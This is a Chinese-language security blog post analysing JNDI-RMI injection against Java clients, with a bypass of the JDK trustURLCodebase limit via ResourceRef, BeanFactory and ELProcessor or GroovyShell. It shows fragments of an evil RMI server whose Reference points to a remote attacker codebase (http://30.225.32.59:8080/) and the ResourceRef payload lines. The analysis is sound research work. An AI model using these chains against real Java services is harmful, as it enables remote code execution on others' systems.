fastjson 配合jndi注入攻击,现在已经是很常见的姿势了。前文RMI 1中略微提到jndi-rmi 攻击client的思路,这里详细补充下。
其实JNDI-RMI注入的核心是JNDI注入,RMI协议只是jndi支持的其中一种,其他还有很多。这里不做深入JNDI安全背景解释,只是因为和RMI略有关系,所以作为RMI系列只是简要跟进分析下。
JNDI-RMI 注入
《RMI:绕过JEP290(二)》,还是在围绕RMI的远程类加载(RMI Class Loading)方式,绕过java.rmi.server.codebase限制。
JNDI-RMI 针对攻击RMI client的一种攻击方式,原理不同,参考【1】,解释得很明白了
攻击者通过RMI服务返回一个JNDI Naming Reference,受害者解码Reference时会去我们指定的Codebase远程地址加载Factory类,但是原理上并非使用RMI Class Loading机制的,因此不受 java.rmi.server.useCodebaseOnly 系统属性的限制,相对来说更加通用。
SHOW ME THE CODE
Evil Server
1 | public class Server { |
HTTP Codebase Server
1 | $ tree |
Exploit
1 | import javax.naming.Context; |
vuln Client
1 | Context ctx = new InitialContext(); |
能够被利用的原理前文也提及:远程恶意类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码,JNDI client加载时会执行这部分代码。
与RMI远程调用的区别
bind
- RMI 绑定 继承UnicastRemoteObject类(最基础类可能不是这一个,没深入研究)
- JNDI 绑定的是javax.naming.Reference(Java Naming and Directory Interface,Java命名和目录接口),然后通过ReferenceWrapper包装成RMI可支持的object
call lookup
- InitialContext
- Registry
所以其实可以看出,通过JNDI-RMI攻击客户端,客户端的必须是JNDI写法的client,类Context的实例lookup方法,而不是RMI Registry.lookup,并不通用。
版本限制
还是参考【1】,讲得太细致了,直接照搬
但是在JDK 6u132, JDK 7u122, JDK 8u113 中Java提升了JNDI 限制了Naming/Directory服务中JNDI Reference远程加载Object Factory类的特性。系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许从远程的Codebase加载Reference工厂类。如果需要开启 RMI Registry 或者 COS Naming Service Provider的远程类加载功能,需要将前面说的两个属性值设置为true。
默认com.sun.jndi.rmi.object.trustURLCodebase false
手动设置trustURLCodebase true
限制逻辑
实现trustURLCodebase 的逻辑在com.sun.jndi.rmi.registry.RegistryContext
1 | private Object decodeObject(Remote var1, Name var2) throws NamingException { |
留个疑问:
com.sun.jndi.cosnaming.object.trustURLCodebase这个对应的client姿势是什么?
绕过高版本限制
根据文档和历史老师傅们的文章,可以知道trustURLCodebase 限制的是Naming/Directory服务中JNDI Reference远程加载Object Factory类,那么思路就剩下本地Factory了。
JNDI-RMI Evil Server Code解析
我们把低版本的Evil Server poc拆来看
Registry registry = LocateRegistry.createRegistry(1099);
创建rmi注册中心
Reference reference = new Reference("Exploit","Exploit","http://30.225.32.59:8080/");
构造函数: public Reference(String className, String factory, String factoryLocation) {}
Reference是JNDI的概念,简单理解成ln -s软连接即可
这行可理解为:创建一个Reference 类,并把一个类名Exploit至远程factory,地址为http://30.225.32.59:8080/#Exploit
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
ReferenceWrapper构造函数:public class ReferenceWrapper extends UnicastRemoteObject implements RemoteReference {}
UnicastRemoteObject 和 RemoteReference 很熟悉也没有,就是前文Demo讲过RMI 远程加载的类继承自 UnicastRemoteObject,这行的作用就是把Reference 对象打包成支持RMI。
registry.bind("Exploit",referenceWrapper);
绑定至rmi注册中心
思路
那接下来在本地找利用链的思路就明确了
- 找到其他的Reference类
- 找到本地的类,其实例化过程可被利用,或者配合Reference特性可被利用,比如set函数
POC
参考【1】,先直接给出POC,常利用有两总姿势:
1 | /* |
POC分析
1. 其他的Reference类:org.apache.naming.ResourceRef
ResourceRef继承Reference。ResourceRef有两个构造函数
public ResourceRef(String resourceClass, String description, String scope, String auth, boolean singleton)
ResourceRef(String resourceClass, String description, String scope, String auth, boolean singleton, String factory, String factoryLocation)
第一个猜测应该是直接绑定类名,这个类之后会被client实例化,如果要利用那么要么构造函数有可利用,这种情况少见几乎没有。
第二个则用到了Factory(对象工厂),可操作的就更多了,下面详细介绍下。
2. javax.naming.spi.ObjectFactory
ObjectFactory 是对象工厂接口,需要自定义实现接口getObjectInstance。这是JNDI的概念,前文的低版本JNDI注入,原理就是JNDI client加载时会执行ObjectFactory 的getObjectInstance 函数。
3. org.apache.naming.factory.BeanFactory
getObjectInstance,其实和python的序列化库piclke __reduce__ 类似,也和反序列化的readObject类似,作用都是自定义解析string还原成对象的方法。
1 | public class BeanFactory implements ObjectFactory { |
obj是ReferenceRef,name是待生成的类名,nameCtx 可以理解为上线文,environment为环境参数
主要由BeanFactory创建指定类分两步实现:
forceString,找到需要forceString的参数
遍历ref的addrs,逐一赋值,如果是forceString,则根据自定义的对应函数进行赋值;如果不是,则使用默认get/set函数赋值(代码猜测,未跟进)
问题出现在forceString 可自定义,相当于可以调用任意类的函数,且参数也可自定义
4. 实例化过程可被利用的类
- javax.el.ELProcessor
- groovy.lang.GroovyShell
1 | ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); |
1 | ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); |
调试下ELProcessor,需要注意的几处
1 | // 1. 获取需要自定义函数的参数 |
小结
本节简要跟进了低版本jdk 的JNDI-RMI注入,以及在8u121 trustURLCodebase默认为false之后的绕过方法。知其然,更需要知其所以然,分析了ResourceRef-BeanFactory-ELProcessor/GroovyShell 利用链的原理,更重要的是如何发现这个利用链的思路。
篇末抛几个问题
- com.sun.jndi.cosnaming.object.trustURLCodebase这个对应的client姿势是什么
- 找到新的本地利用链
- 理论上JNDI-RMI,也可以和RMI一样利用本地的反序列化Gadgets,会有区别吗?突破RMI本地利用的一些限制?